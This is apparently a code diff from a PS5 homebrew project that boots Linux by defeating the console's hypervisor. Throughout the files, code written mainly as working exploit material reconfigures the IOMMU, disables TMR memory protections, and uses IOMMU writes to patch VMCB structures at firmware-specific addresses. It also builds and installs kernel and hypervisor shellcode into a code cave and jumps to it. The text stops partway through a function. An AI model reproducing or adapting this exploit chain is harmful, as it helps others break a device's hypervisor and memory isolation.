#define UTILS_H
#include <stdint.h>
uint32_t putc_uart(uint8_t tx_byte);
int printf(const uint8_t *msg);
uint8_t *u64_to_hex_custom(uint64_t val, uint8_t *dest);
extern uint8_t hex_val[17];
inline int print_val64(uint64_t val) {
return printf(u64_to_hex_custom(val, hex_val));
}
void memcpy(void *dest, void *src, uint64_t len);
char *strcpy(char *dest, const char *src);
void *memset(void *s, int c, uint64_t n);
void disable_intr(void);
void halt(void);
uint64_t rdmsr(uint32_t msr);
void wrmsr(uint32_t msr, uint64_t val);
void atomic_add_32(volatile uint32_t *p, uint32_t v);
int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src);
uint8_t get_cpu(void);
#endif
#ifndef UTILS_H
#define UTILS_H
#include <stdint.h>
uint32_t putc_uart(uint8_t tx_byte);
int printf(const uint8_t *msg);
void memcpy(void *dest, void *src, uint64_t len);
char *strcpy(char *dest, const char *src);
void *memset(void *s, int c, uint64_t n);
void disable_intr(void);
void halt(void);
uint64_t rdmsr(uint32_t msr);
void wrmsr(uint32_t msr, uint64_t val);
void atomic_add_32(volatile uint32_t *p, uint32_t v);
int atomic_cmpset_32(volatile uint32_t *dst, uint32_t exp, uint32_t src);
uint8_t get_cpu(void);
#endif

View File

@@ -1,32 +0,0 @@
ifndef PS5_PAYLOAD_SDK
PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/
endif
# 1. Variables
CC = gcc
LD = ld
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -I$(PS5_PAYLOAD_SDK)/target/include
LDFLAGS = -T linker.ld
TARGET = shellcode_hypervisor.elf
TEXT_BIN = shellcode_hypervisor.bin
dump = shellcode_hypervisor.h
SRC = main.c utils.c boot_linux.c
OBJ = $(SRC:.c=.o)
all: $(dump)
$(TARGET): $(OBJ)
$(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET)
%.o: %.c
$(CC) $(CFLAGS) -c $< -o $@
$(TEXT_BIN): $(TARGET)
objcopy -O binary -j .shell_code $(TARGET) $(TEXT_BIN)
clean:
rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)
$(dump): $(TEXT_BIN)
python3 bin_to_c_hypervisor.py $(TEXT_BIN)

View File

@@ -1,46 +0,0 @@
import sys
import os
def create_shellcode_header(input_file):
if not os.path.exists(input_file):
print(f"Error: {input_file} not found.")
return
# Read binary data_text
with open(input_file, "rb") as f:
data_text = f.read()
# Hardcoded output name
output_name = "shellcode_hypervisor.h"
array_name = "shellcode_hypervisor"
with open(output_name, "w") as f:
f.write(f"// Generated from {input_file}\n")
f.write(f"#ifndef SHELLCODE_HV_H\n")
f.write(f"#define SHELLCODE_HV_H\n\n")
f.write(f"#include <unistd.h>\n\n")
f.write(f"uint8_t {array_name}[] = {{\n ")
for i, byte in enumerate(data_text):
f.write(f"0x{byte:02X}")
if i < len(data_text) - 1:
f.write(", ")
# New line every 12 bytes
if (i + 1) % 12 == 0:
f.write("\n ")
f.write(f"\n}};\n\n")
f.write(f"uint64_t {array_name}_len = {len(data_text)};\n\n")
f.write(f"#endif // SHELLCODE_HV_H\n")
print(f"Done! Created {output_name} ({len(data_text)} bytes)")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python bin_to_c_hypervisor.py <shellcode.bin>")
else:
create_shellcode_header(sys.argv[1])

View File

@@ -1,3 +0,0 @@
#include "shellcode_hypervisor_args.h"
#include <stdarg.h>
#include <stdint.h>

View File

@@ -1,33 +1,34 @@
ifndef PS5_PAYLOAD_SDK
PS5_PAYLOAD_SDK = /opt/ps5-payload-sdk/
endif
CC = gcc
LD = ld
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -I$(PS5_PAYLOAD_SDK)/target/include
LDFLAGS = -T linker.ld
TARGET = shellcode_kernel.elf
TEXT_BIN = shellcode_text.bin
SRC = main.c utils.c kernel_code.c
OBJ = $(SRC:.c=.o)
dump = shellcode_kernel.h
all: $(dump)
$(TARGET): $(OBJ)
$(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET)
%.o: %.c
$(CC) $(CFLAGS) -c $< -o $@
$(TEXT_BIN): $(TARGET)
objcopy -O binary -j .text $(TARGET) $(TEXT_BIN)
clean:
rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)
$(dump): $(TEXT_BIN)
python3 bin_to_c_kernel.py $(TEXT_BIN)
ifeq ($(shell uname -m),aarch64)
CC = x86_64-linux-gnu-gcc
LD = x86_64-linux-gnu-ld
OBJCOPY = x86_64-linux-gnu-objcopy
else
CC = gcc
LD = ld
OBJCOPY = objcopy
endif
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
LDFLAGS = -T linker.ld -Wl,--no-warn-rwx-segments
TARGET = shellcode_kernel.elf
TEXT_BIN = shellcode_kernel.bin
dump = shellcode_kernel.h
SRC = $(wildcard *.c)
OBJ = $(SRC:.c=.o)
all: $(dump)
$(TARGET): $(OBJ)
$(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET)
%.o: %.c
$(CC) $(CFLAGS) -c $< -o $@
$(TEXT_BIN): $(TARGET)
$(OBJCOPY) -O binary -j .shell_code $(TARGET) $(TEXT_BIN)
clean:
rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)
$(dump): $(TEXT_BIN)
xxd -i $(TEXT_BIN) > $(dump)

View File

@@ -1,48 +0,0 @@
import sys
import os
def create_shellcode_header(input_file_text):
if not os.path.exists(input_file_text):
print(f"Error: {input_file_text} not found.")
return
# Read binary data_text
with open(input_file_text, "rb") as f:
data_text = f.read()
# Hardcoded output name
output_name = "shellcode_kernel.h"
array_name_text = "shellcode_kernel_text"
with open(output_name, "w") as f:
f.write(f"// Generated from {input_file_text}\n")
f.write(f"#ifndef SHELLCODE_KERNEL_H\n")
f.write(f"#define SHELLCODE_KERNEL_H\n\n")
f.write(f"#include <unistd.h>\n\n")
f.write(f"#include \"shellcode_kernel_args.h\"\n\n")
f.write(f"uint8_t {array_name_text}[] = {{\n ")
for i, byte in enumerate(data_text):
f.write(f"0x{byte:02X}")
if i < len(data_text) - 1:
f.write(", ")
# New line every 12 bytes
if (i + 1) % 12 == 0:
f.write("\n ")
f.write(f"\n}};\n\n")
f.write(f"uint64_t {array_name_text}_len = {len(data_text)};\n\n")
f.write(f"#endif // SHELLCODE_KERNEL_H\n")
print(f"Done! Created {output_name} ({len(data_text)} bytes)")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python bin_to_c_kernel.py <text.bin>")
else:
create_shellcode_header(sys.argv[1])

View File

@@ -1,7 +1,7 @@
#include "kernel_code.h"
#include "boot_linux.h"
#include "../include/config.h"
#include "../shellcode_hypervisor/shellcode_hypervisor.h"
#include "shellcode_kernel_args.h"
#include "../include/linux.h"
#include "../shellcode_hv/shellcode_hv.h"
#include "utils.h"
#define DIG1TRANSMITTERCONTROL 0x4c
@@ -9,11 +9,30 @@
#define TRANSMITTER_CONTROL_ENABLE 1
#define TRANSMITTER_CONTROL_SET_VOLTAGE_AND_PREEMPASIS 11
int (*transmitter_control)(int cmd, void *control) = NULL; // Filled by main.c
int (*mp3_initialize)(int vmid) = NULL; // Filled by main.c
int (*mp3_invoke)(int cmd_id, void *req, void *rsp) = NULL; // Filled by main.c
int (*transmitter_control)(int cmd, void *control) = NULL;
int (*mp3_initialize)(int vmid) = NULL;
int (*mp3_invoke)(int cmd_id, void *req, void *rsp) = NULL;
uint64_t g_vbios; // Filled by main.c
uint64_t g_vbios;
typedef struct {
uint64_t flags;
uint64_t addr;
uint64_t size;
} __attribute__((packed)) SceSblHvShmTmrPtState;
typedef uint64_t SceSblHvShmTmrIdBmp;
typedef uint16_t SceSblHvShmTmrPtIdBmp;
typedef struct {
uint32_t sig;
uint32_t ver;
SceSblHvShmTmrPtIdBmp tmrMapPts[64];
SceSblHvShmTmrIdBmp tmrOvlpIds[64];
SceSblHvShmTmrPtState tmrPtStates[64];
uint32_t nmiCounts[16];
uint8_t reserved[64];
} __attribute__((packed)) SceSblHvShm;
typedef struct {
uint8_t lanenum;
@@ -39,15 +58,6 @@ struct dig_transmitter_control_parameters_v1_6 {
uint32_t reserved1;
};
struct linux_info {
uintptr_t bzimage;
size_t bzimage_size;
uintptr_t initrd;
size_t initrd_size;
size_t vram_size;
char cmdline[2048];
};
static struct linux_info info;
static int mp3_req[1281], mp3_rsp[1282];
@@ -66,6 +76,15 @@ static inline uint64_t vmmcall(uint64_t nr, uint64_t a0, uint64_t a1,
return ret;
}
static uint64_t get_hv_shm(void) {
if (args.fw_version >= 0x0500 && args.fw_version < 0x0600) {
return 0x62a01000;
} else if (args.fw_version >= 0x0600 && args.fw_version < 0x0650) {
return 0x62a22000;
}
return -1;
}
static int dp_enable_link_phy(int lanenum, int linkrate) {
struct dig_transmitter_control_parameters_v1_6 params = {};
params.phyid = 0;
@@ -92,14 +111,10 @@ static int mp3_enable_output(int be, int mode) {
return mp3_invoke(22, mp3_req, mp3_rsp);
}
static void patch_hv(void) {
static void install_hv_code(void) {
// Install identity map for HV
// HV Shellcode 1 it's updating CR3
uint64_t identity_cr3 = cave_hv_paging; // P, RW, US=0
uint64_t identity_pml4_0 =
identity_cr3 +
0x1003ULL; // P, RW, US=0 - 512GB // offset 0 +0x1000 from PML4
uint64_t identity_cr3 = cave_hv_paging;
uint64_t identity_pml4_0 = identity_cr3 + 0x1003ULL;
uint64_t l40_l3_addr = PAGE_PA(identity_pml4_0); // addr PML4[0]
uint64_t identity_pml40_l3[] = {
0x0000000000000083, // P, RW, US=0 - 0 GB to 1 GB
@@ -116,15 +131,16 @@ static void patch_hv(void) {
*(uint64_t *)PHYS_TO_DMAP(l40_l3_addr + i * 8) = identity_pml40_l3[i];
}
// Install hv_shellcode 2
memcpy((void *)PHYS_TO_DMAP(cave_hv_code), shellcode_hypervisor,
shellcode_hypervisor_len);
// Install shellcode_hv
memcpy((void *)PHYS_TO_DMAP(cave_hv_code), shellcode_hv_bin,
shellcode_hv_bin_len);
}
void patch_hv(void) {
// Jump to shellcode final identity mapping
uint8_t shellcode_jmp[] = {
0x48, 0xC7, 0xC0, 0x00, 0x6F, 0x80, 0x62, // mov rax, 0x62806f00
0xFF, 0xE0, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, // jmp rax
0xC3, 0xC3};
uint8_t shellcode_jmp[] = {0x48, 0xC7, 0xC0, 0xAA,
0xAA, 0xAA, 0xAA, // mov rax, 0xAAAAAAAA
0xFF, 0xE0}; // jmp rax
// Update code cave in hv 1:1 region
*(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;
@@ -134,11 +150,11 @@ static void patch_hv(void) {
sizeof(shellcode_jmp));
uint8_t shellcode_identity_and_jmp[] = {
0x48, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100000000
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
0x0F, 0x22, 0xD8, // mov cr3, rax
0x48, 0xB8, 0x00, 0x30, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, // movabs rax, 0x100003000
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
0xFF, 0xE0 // jmp rax
};
@@ -147,15 +163,17 @@ static void patch_hv(void) {
// Update HV shellcode cave
*(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code;
// Install shellcode 1 to update CR3 and jump to main HV shellcode
// Install shellcode to update CR3 and jump to main HV shellcode
memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp,
sizeof(shellcode_identity_and_jmp));
}
void boot_linux(void) {
patch_hv();
// Common bootloader code
install_hv_code();
memcpy((void *)PHYS_TO_DMAP(0xC0000), (void *)g_vbios, 0x10000);
// Enable DP phys link.
@@ -169,8 +187,22 @@ void boot_linux(void) {
// Copy bzImage and initrd into contiguous memory.
memcpy(&info, (void *)args.linux_info_va, sizeof(struct linux_info));
uintptr_t bzimage = info.bzimage; // Kernel wrote the VA here
uintptr_t initrd = info.initrd; // Kernel wrote the VA here
info.n_tmrs = 0;
if (args.fw_version >= 0x0500 && args.fw_version < 0x0650) {
SceSblHvShm *shm = (SceSblHvShm *)PHYS_TO_DMAP(get_hv_shm());
for (int i = 0; i < 64; i++) {
if (shm->tmrPtStates[i].flags & 1) {
info.tmrs[info.n_tmrs].start = shm->tmrPtStates[i].addr;
info.tmrs[info.n_tmrs].end = shm->tmrPtStates[i].addr + shm->tmrPtStates[i].size;
printf("tmr: %lx-%lx\n", info.tmrs[info.n_tmrs].start, info.tmrs[info.n_tmrs].end);
info.n_tmrs++;
}
}
}
uintptr_t bzimage = info.bzimage;
uintptr_t initrd = info.initrd;
info.bzimage = cave_bzImage;
info.initrd = cave_bzImage + ALIGN_UP(info.bzimage_size, PAGE_SIZE);

View File

@@ -1,18 +1,18 @@
#ifndef KERNEL_CODE_H
#define KERNEL_CODE_H
#include <stdint.h>
#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1))
static int dp_enable_link_phy(int lanenum, int linkrate);
static void patch_hv(void);
void boot_linux(void);
extern int (*transmitter_control)(int cmd, void *control);
extern int (*mp3_initialize)(int vmid);
extern int (*mp3_invoke)(int cmd_id, void *req, void *rsp);
extern uint64_t g_vbios; // for main.c
#endif
#ifndef BOOT_LINUX_H
#define BOOT_LINUX_H
#include <stdint.h>
#define ALIGN_UP(size, align) (((size) + (align) - 1) & ~((align) - 1))
static int dp_enable_link_phy(int lanenum, int linkrate);
static void install_hv_code(void);
void boot_linux(void);
extern int (*transmitter_control)(int cmd, void *control);
extern int (*mp3_initialize)(int vmid);
extern int (*mp3_invoke)(int cmd_id, void *req, void *rsp);
extern uint64_t g_vbios; // for main.c
#endif

View File

@@ -0,0 +1,142 @@
#include "hv_defeat_0304.h"
#include "../include/config.h"
#include "shellcode_kernel_args.h"
#include "utils.h"
uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
uint64_t eb_pa, uint64_t unk, int *n_devices);
uint32_t (*hv_iommu_wait_completion)(void);
int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr) {
uint64_t softc = *(uint64_t *)args_ptr->iommu_softc;
uint64_t mmio_va = *(uint64_t *)(softc + IOMMU_SC_MMIO_VA);
uint64_t cb2_va = *(uint64_t *)(softc + IOMMU_SC_CB2_PTR);
uint64_t cb3_va = *(uint64_t *)(softc + IOMMU_SC_CB3_PTR);
uint64_t eb_va = *(uint64_t *)(softc + IOMMU_SC_EB_PTR);
uint64_t iommu_cb2_pa = vtophys(args_ptr->dmap_base, cb2_va);
uint64_t iommu_cb3_pa = vtophys(args_ptr->dmap_base, cb3_va);
uint64_t iommu_eb_pa = vtophys(args_ptr->dmap_base, eb_va);
uint64_t unk;
int n_devices;
// Reconfigure IOMMU calling the HV
int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t,
int *))args_ptr->fun_hv_iommu_set_buffers)(
iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices);
if (ret != 0) {
puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb X\n"});
return -1;
}
ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();
if (ret) {
puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb NO OK\n"});
return -1;
}
puts_uart(args_ptr->dmap_base, (char[]){"IOMMU sb OK\n"});
if (tmr_disable(args_ptr->dmap_base)) {
puts_uart(args_ptr->dmap_base, (char[]){"TMR NO OK\n"});
return -1;
}
puts_uart(args_ptr->dmap_base, (char[]){"TMR OK\n"});
patch_vmcb(args_ptr);
puts_uart(args_ptr->dmap_base, (char[]){"VMCB OK\n"});
// Re-do this to force a VMEXIT without HV injecting faults
((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t,
int *))args_ptr->fun_hv_iommu_set_buffers)(
iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t)&unk, &n_devices);
((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();
puts_uart(args_ptr->dmap_base, (char[]){"Back from HV\n"});
return 0;
}
__attribute__((noinline, optimize("O0"))) void
iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) {
uint64_t softc = *(uint64_t *)args_ptr->iommu_softc;
uint64_t mmio_va = *(uint64_t *)(softc + IOMMU_SC_MMIO_VA);
uint64_t cb2_va = *(uint64_t *)(softc + IOMMU_SC_CB2_PTR);
uint64_t curr_tail = *((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8);
uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK;
uint64_t *cmd_buffer = (uint64_t *)cb2_va + curr_tail / 8;
cmd_buffer[0] = cmd[0];
cmd_buffer[1] = cmd[1];
__asm__ volatile("" : : : "memory");
*((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail;
while (*((uint64_t *)mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
*((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8))
;
}
__attribute__((noinline, optimize("O0"))) void
iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa,
uint64_t val) {
uint32_t cmd[4] = {0};
cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05;
cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000;
cmd[2] = (uint32_t)(val);
cmd[3] = (uint32_t)(val >> 32);
iommu_submit_cmd(args_ptr, (uint64_t *)cmd);
}
static uint64_t get_vmcb(volatile shellcode_kernel_args *args_ptr, int core) {
switch (args_ptr->fw_version) {
case 0x0300:
case 0x0310:
case 0x0320:
case 0x0321:
return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000;
case 0x0400:
case 0x0402:
case 0x0403:
case 0x0450:
case 0x0451:
return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000;
default:
return -1;
}
}
__attribute__((noinline, optimize("O0"))) void
patch_vmcb(volatile shellcode_kernel_args *args_ptr) {
for (int i = 0; i < 16; i++) {
iommu_write8_pa(args_ptr, get_vmcb(args_ptr, i) + 0x90, 0);
}
}
__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap,
uint32_t addr) {
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr;
return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF);
}
__attribute__((noinline, optimize("O0"))) void
tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) {
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr;
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val;
}
__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) {
for (int i = 0; i < 24; i++) {
if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {
tmr_write(dmap, TMR_CONFIG(i), 0);
if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {
return -1;
}
}
}
return 0;
}

View File

@@ -0,0 +1,54 @@
#ifndef HV_DEFEAT_0304_H
#define HV_DEFEAT_0304_H
#include "shellcode_kernel_args.h"
extern uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
uint64_t eb_pa, uint64_t unk,
int *n_devices);
extern uint32_t (*hv_iommu_wait_completion)(void);
int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr);
// tmr via ecam b0d18f2
#ifndef ECAM_B0D18F2
#define ECAM_B0D18F2 (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000)
#define TMR_INDEX_OFF 0x80
#define TMR_DATA_OFF 0x84
#endif
// tmr layout (hardware)
#define TMR_BASE(n) ((n) * 0x10 + 0x00)
#define TMR_LIMIT(n) ((n) * 0x10 + 0x04)
#define TMR_CONFIG(n) ((n) * 0x10 + 0x08)
#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C)
#define TMR_CFG_PERMISSIVE 0x3F07
#define MAX_TMR 22
#define MAX_SAVED_TMRS 8
uint32_t tmr_read(uint64_t dmap, uint32_t addr);
void tmr_write(uint64_t dmap, uint32_t addr, uint32_t val);
int tmr_disable(uint64_t dmap);
// Command buffer MMIO offsets
#define IOMMU_MMIO_CB_HEAD 0xa000
#define IOMMU_MMIO_CB_TAIL 0xa008
// Queue constants
#define IOMMU_CB_SIZE 0x2000
#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1)
#define IOMMU_CMD_ENTRY_SIZE 0x10
// IOMMU softc field offsets
#define IOMMU_SC_MMIO_VA 0x40
#define IOMMU_SC_CB2_PTR 0x78
#define IOMMU_SC_CB3_PTR 0x80
#define IOMMU_SC_EB_PTR 0x60b90
// Submit a single 16-byte command and wait for completion
void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd);
// Write 8 bytes to a physical address using IOMMU completion wait store
void iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa,
uint64_t val);
void patch_vmcb(volatile shellcode_kernel_args *args_ptr);
#endif

View File

@@ -1,18 +1,18 @@
/* linker.ld */
ENTRY(main)
SECTIONS
{
. = 0x1000; /* 0x1000 to avoid warnings from linker */
.text :
{
*(.entry_point)
*(.text)
*(.text.*)
*(.data)
*(.data.*)
*(.rodata*)
*(.bss)
*(.bss.*)
}
}
/* linker.ld */
ENTRY(main)
SECTIONS
{
. = 0x1000; /* 0x1000 to avoid warnings from linker */
/* Place our custom header first */
.shell_code :
{
*(.entry_point)
*(.text)
*(.text.*)
*(.data*)
*(.rodata*)
*(.bss)
*(.bss.*)
}
}

View File

@@ -1,290 +1,52 @@
#include "main.h"
#include "kernel_code.h"
#include "utils.h"
#include <stdint.h>
#define MSR_EFER 0xC0000080
shellcode_kernel_args args = {
.fw_version = 0xDEADBEEF, .fun_printf = 0x0, .vmcb = {0}};
// We are being called instead of AcpiSetFirmwareWakingVector from
// acpi_wakeup_machdep
__attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
uint64_t add2) {
// We will do main checks on .text only with a reference to .data to avoid
// fixed offsets first After NPTs are disabled, we can continue nornmally
// using all the variables in .data that are embedded in shellcode
volatile shellcode_kernel_args *args_ptr =
(volatile shellcode_kernel_args
*)0x11AA11AA11AA11AA; // To be replaced with proper address in .kdata
// by loader
// "Hide" the pointer from the optimizer
__asm__ volatile("" : "+r"(args_ptr));
// We don't have required information - Abort
if ((args_ptr->fun_printf & 0xFFFF) == 0) {
goto out;
}
// Activate UART on Kernel
uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL);
*uart_va &= ~0x200;
uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override;
*override_char_va = 0x0;
uint64_t iommu_cb2_pa =
((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb2_va);
uint64_t iommu_cb3_pa =
((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_cb3_va);
uint64_t iommu_eb_pa =
((uint64_t(*)(uint64_t))args_ptr->fun_va_to_pa)(args_ptr->iommu_eb_va);
uint64_t unk;
int n_devices;
// Reconfigure IOMMU calling the HV
int ret = ((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t,
int *))args_ptr->fun_hv_iommu_set_buffers)(
iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t) &unk, &n_devices);
if (ret != 0) {
putc_uart(args_ptr->dmap_base, 'I');
putc_uart(args_ptr->dmap_base, 'O');
putc_uart(args_ptr->dmap_base, 'M');
putc_uart(args_ptr->dmap_base, 'M');
putc_uart(args_ptr->dmap_base, 'U');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 's');
putc_uart(args_ptr->dmap_base, 'b');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 'X');
putc_uart(args_ptr->dmap_base, '\n');
goto out;
}
// Wait for completion
ret = ((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();
if (ret == 0) {
putc_uart(args_ptr->dmap_base, 'I');
putc_uart(args_ptr->dmap_base, 'O');
putc_uart(args_ptr->dmap_base, 'M');
putc_uart(args_ptr->dmap_base, 'M');
putc_uart(args_ptr->dmap_base, 'U');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 's');
putc_uart(args_ptr->dmap_base, 'b');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 'O');
putc_uart(args_ptr->dmap_base, 'K');
putc_uart(args_ptr->dmap_base, '\n');
// Allow R/W on HV and Kernel area
if (tmr_disable(args_ptr->dmap_base)) {
putc_uart(args_ptr->dmap_base, 'T');
putc_uart(args_ptr->dmap_base, 'M');
putc_uart(args_ptr->dmap_base, 'R');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 'X');
putc_uart(args_ptr->dmap_base, '\n');
goto out;
}
putc_uart(args_ptr->dmap_base, 'T');
putc_uart(args_ptr->dmap_base, 'M');
putc_uart(args_ptr->dmap_base, 'R');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 'O');
putc_uart(args_ptr->dmap_base, 'K');
putc_uart(args_ptr->dmap_base, '\n');
// Patch HV
patch_vmcb(args_ptr);
putc_uart(args_ptr->dmap_base, 'V');
putc_uart(args_ptr->dmap_base, 'M');
putc_uart(args_ptr->dmap_base, 'C');
putc_uart(args_ptr->dmap_base, 'B');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 'O');
putc_uart(args_ptr->dmap_base, 'K');
putc_uart(args_ptr->dmap_base, '\n');
// Re-do this to force a VMEXIT without HV injecting faults
((uint64_t(*)(uint64_t, uint64_t, uint64_t, uint64_t,
int *))args_ptr->fun_hv_iommu_set_buffers)(
iommu_cb2_pa, iommu_cb3_pa, iommu_eb_pa, (uint64_t) &unk, &n_devices);
((uint64_t(*)(void))args_ptr->fun_hv_iommu_wait_completion)();
putc_uart(args_ptr->dmap_base, 'B');
putc_uart(args_ptr->dmap_base, 'a');
putc_uart(args_ptr->dmap_base, 'c');
putc_uart(args_ptr->dmap_base, 'k');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 'f');
putc_uart(args_ptr->dmap_base, 'r');
putc_uart(args_ptr->dmap_base, 'o');
putc_uart(args_ptr->dmap_base, 'm');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 'H');
putc_uart(args_ptr->dmap_base, 'V');
putc_uart(args_ptr->dmap_base, '\n');
// We can now initiate the global args variable and use it, as NPTs are
// disabled
init_global_pointers(args_ptr);
printf("HV_Defeat: we should be ready for Linux part\n");
boot_linux();
printf("Linux prepared OK\n");
// Activate HV UART - Not really needed but good for debugging
// *(uint32_t*)PHYS_TO_DMAP(args.hv_uart_override_pa) = 0x0;
printf("Calling smp_rendezvous to exit all cores to HV with ptr: %016lx\n",
(uint64_t)vmmcall_dummy);
printf("Good Bye VM :)\n");
smp_rendezvous(smp_no_rendevous_barrier, vmmcall_dummy,
smp_no_rendevous_barrier, NULL);
printf("We shouldn't be here :(\n");
} else {
putc_uart(args_ptr->dmap_base, 'I');
putc_uart(args_ptr->dmap_base, 'O');
putc_uart(args_ptr->dmap_base, 'M');
putc_uart(args_ptr->dmap_base, 'M');
putc_uart(args_ptr->dmap_base, 'U');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 's');
putc_uart(args_ptr->dmap_base, 'b');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 'N');
putc_uart(args_ptr->dmap_base, 'O');
putc_uart(args_ptr->dmap_base, ' ');
putc_uart(args_ptr->dmap_base, 'O');
putc_uart(args_ptr->dmap_base, 'K');
putc_uart(args_ptr->dmap_base, '\n');
}
out:
return 0;
}
__attribute__((noinline, optimize("O0"), naked)) void vmmcall_dummy(void) {
__asm__ volatile("mov $0x1, %rax \n"
"vmmcall \n"
"ret \n");
}
void halt(void) { __asm__ __volatile__("hlt"); }
// Submit a single 16-byte command and wait for completion
__attribute__((noinline, optimize("O0"))) void
iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) {
// Read the offset of current tail of command list
uint64_t curr_tail = *(
(uint64_t *)args_ptr->iommu_mmio_va +
IOMMU_MMIO_CB_TAIL /
8); // Offset in IOMMU Command Buffer - Downscale the size of the ptr
uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) &
IOMMU_CB_MASK; // Offset in IOMMU Command Buffer
// We write the command in the current empty entry
uint64_t *cmd_buffer =
(uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8; // Downscale the size of the ptr
// Copy 0x10 bytes (CMD Size)
cmd_buffer[0] = cmd[0];
cmd_buffer[1] = cmd[1];
__asm__ volatile("" : : : "memory"); // Prevent reordering
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) =
next_tail; // Indicate the IOMMU that there is a CMD - Downscale the size
// of the ptr
// Wait CMD processing completion - Head will be the Tail
